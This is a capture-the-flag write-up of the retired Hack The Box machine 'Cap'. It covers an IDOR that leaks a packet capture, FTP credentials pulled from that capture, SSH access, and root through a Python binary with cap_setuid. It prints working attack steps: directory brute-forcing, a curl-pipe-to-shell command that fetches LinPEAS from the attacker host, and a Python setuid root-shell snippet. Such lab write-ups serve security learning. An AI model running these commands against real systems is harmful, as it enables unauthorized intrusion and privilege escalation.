

Hack The Box – Cap (Retired)

Martina Giacobbe

July 17, 2025

Summary

Cap is an easy Linux machine on Hack The Box. It involves exploiting an exposed IDOR vulnerability to recover credentials from FTP traffic, then escalating privileges by abusing Linux capabilities associated with the Python binary.

1 Initial Enumeration

1.1 Nmap Scan

A scan reveals three open ports:

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	
22/tcp	open	ssh	
80/tcp	open	http	gunicorn

Gunicorn is a Python WSGI HTTP server, suggesting the web service may be a custom Python web app.

2 Web Enumeration

Directory brute-forcing is performed using a common wordlist:

```
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/
  ↳ Discovery/Web-Content/common.txt
ffuf -u http://10.10.10.245/FUZZ -w common.txt
```

Only two endpoints return 200 OK: `/ip` and `/netstat`. These return basic system information.

3 Exploring Screenshot Archive

Accessing the URL pattern `/data/[id]` returns screenshots of system activity. By iterating over several IDs, the screenshot at `id=0` stands out due to the large number of packets visible.

Action: Download the capture:

```
wget http://10.10.10.245/data/0 -O 0.pcap
```

This is a typical example of **IDOR vulnerability**.

4 IDOR Vulnerability

Insecure Direct Object Reference (IDOR) is a type of access control vulnerability in cybersecurity where an application exposes internal object identifiers, such as database keys or file paths, to users without proper access controls.

This can enable attackers to manipulate these identifiers and gain unauthorized access to sensitive data or perform unauthorized actions on the system.

5 PCAP Analysis

Upon inspecting the .pcap file in Wireshark, FTP login credentials are discovered:

```
USER nathan
PASS Buck3tH4TF0RM3!
```

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	192.168.196.1	192.168.196.16	TCP	60	54399 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
2	0.000027	192.168.196.16	192.168.196.1	TCP	60	80 → 54399 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 SACK_PERM=1 WS=128
3	0.000190	192.168.196.1	192.168.196.16	TCP	62	54399 → 80 [ACK] Seq=1 Ack=1 Win=1051136 Len=0
4	0.000241	192.168.196.1	192.168.196.16	HTTP	454	GET / HTTP/1.1
5	0.000246	192.168.196.16	192.168.196.1	TCP	58	80 → 54399 [ACK] Seq=1 Ack=399 Win=64128 Len=0
6	0.001742	192.168.196.16	192.168.196.1	TCP	73	80 → 54399 [PSH, ACK] Seq=1 Ack=399 Win=64128 Len=17 [TCP segment of a reassembled PDU]
7	0.001950	192.168.196.16	192.168.196.1	HTTP	4134	HTTP/1.0 200 OK (text/html)
8	0.002121	192.168.196.1	192.168.196.16	TCP	62	54399 → 80 [ACK] Seq=399 Ack=1397 Win=1049600 Len=0
9	0.002208	192.168.196.1	192.168.196.16	TCP	62	54399 → 80 [FIN, ACK] Seq=399 Ack=1397 Win=1049600 Len=0
10	0.002222	192.168.196.16	192.168.196.1	TCP	58	80 → 54399 [ACK] Seq=1397 Ack=400 Win=64128 Len=0
11	0.042235	192.168.196.1	192.168.196.16	TCP	60	54400 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
12	0.042273	192.168.196.16	192.168.196.1	TCP	60	80 → 54400 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 SACK_PERM=1 WS=128
13	0.042471	192.168.196.1	192.168.196.16	TCP	62	54400 → 80 [ACK] Seq=1 Ack=1 Win=1051136 Len=0
14	0.042529	192.168.196.1	192.168.196.16	HTTP	416	GET /static/main.css HTTP/1.1
15	0.042535	192.168.196.16	192.168.196.1	TCP	58	80 → 54400 [ACK] Seq=1 Ack=361 Win=64128 Len=0
16	0.044325	192.168.196.16	192.168.196.1	TCP	73	80 → 54400 [PSH, ACK] Seq=1 Ack=361 Win=64128 Len=17 [TCP segment of a reassembled PDU]
17	0.044405	192.168.196.16	192.168.196.1	HTTP	1047	HTTP/1.0 200 OK (text/css)
18	0.044759	192.168.196.1	192.168.196.16	TCP	62	54400 → 80 [ACK] Seq=361 Ack=1010 Win=1050112 Len=0
19	0.044922	192.168.196.1	192.168.196.16	TCP	62	54400 → 80 [FIN, ACK] Seq=361 Ack=1010 Win=1050112 Len=0
20	0.044937	192.168.196.16	192.168.196.1	TCP	58	80 → 54400 [ACK] Seq=1010 Ack=362 Win=64128 Len=0
21	0.447917	192.168.196.1	192.168.196.16	TCP	60	54410 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
22	0.447932	192.168.196.16	192.168.196.1	TCP	60	80 → 54410 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 SACK_PERM=1 WS=128
23	0.448135	192.168.196.1	192.168.196.16	TCP	62	54410 → 80 [ACK] Seq=1 Ack=1 Win=1051136 Len=0
24	0.448205	192.168.196.1	192.168.196.16	HTTP	488	GET /favicon.ico HTTP/1.1
25	0.448213	192.168.196.16	192.168.196.1	TCP	58	80 → 54410 [ACK] Seq=1 Ack=353 Win=64128 Len=0
26	0.449720	192.168.196.16	192.168.196.1	TCP	80	80 → 54410 [PSH, ACK] Seq=1 Ack=353 Win=64128 Len=24 [TCP segment of a reassembled PDU]
27	0.449800	192.168.196.16	192.168.196.1	HTTP	425	HTTP/1.0 404 NOT FOUND (text/html)

```
* Flags: 0x018 (PSH, ACK)
Window: 4196
[Calculated window size: 1051136]
[Window size scaling factor: 256]
Checksum: 0x4ae6 [unverified]
[Checksum status: Unverified]
Urgent Pointer: 0
* [Timestamps]
* [SEQ/ACK analysis]
TCP payload (22 bytes)
* File Transfer Protocol (FTP)
* PASS Buck3tH4TF0RM3!\r\n
Request command: PASS
Request arg: Buck3tH4TF0RM3!
[Current working directory: ]
```

6 Initial Access

With the credentials found, an SSH connection is established:

```
ssh nathan@10.10.10.245
Password: Buck3tH4TF0RM3!
```

```
Last login: Thu Jul 17 10:10:58 2025 from 10.10.14.30
nathan@cap:~$
```

User Flag

```
cat user.txt
48a0f05a1c3f180b8acbd2ab7d8b7bfd
```

7 Privilege Escalation

7.1 Enumeration

Run LinPEAS to find possible paths for privilege escalation. First, download the latest version from PEASS-ng:

```
# On attack machine:
python3 -m http.server 80

# On target machine:
```

```
curl http://10.10.16.22/linpeas.sh | sh
```

```
nathan@cap:~$ la -l
total 20
lrwxrwxrwx 1 root root 9 May 15 2021 .bash_history -> /dev/null
-rw-r--r-- 1 nathan nathan 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 nathan nathan 3771 Feb 25 2020 .bashrc
drwx----- 2 nathan nathan 4096 May 23 2021 .cache
-rw-r--r-- 1 nathan nathan 807 Feb 25 2020 .profile
lrwxrwxrwx 1 root root 9 May 27 2021 .viminfo -> /dev/null
-r----- 1 nathan nathan 33 Jul 17 04:02 user.txt
nathan@cap:~$
```

7.2 Finding Capabilities

LinPEAS reveals that the Python binary has the `CAP_SETUID` capability:

```
Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
```

This capability allows a process to change its UID, even to 0 (root), bypassing the usual privilege checks, as explained in the documentation.

CAP_SETUID

- Make arbitrary manipulations of process UIDs (`setuid(2)`, `setreuid(2)`, `setresuid(2)`);
- forge UID when passing socket credentials via UNIX domain sockets;
- write a user ID mapping in a user namespace (see `user_namespaces(7)`).

8 Exploitation via Python

To switch to the root user using Python:

```
import os
os.setuid(0)
os.system("/bin/bash")
```

```
nathan@cap:/$ python3
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.system("/bin/bash")
root@cap:/#
```

Root Flag

```
cat /root/root.txt
d55692d7a33792a0527fc5d5a7725083
```

Conclusion

Cap is an excellent example of combining passive analysis (network capture), credentials reuse, and abuse of Linux capabilities. Key lessons include:

- Always inspect available web resources — even seemingly benign files like screenshots.

- PCAP analysis through WireShark is a powerful skill in both offensive and defensive security.
- Linux capabilities can offer privilege escalation without setuid binaries or misconfigured sudo.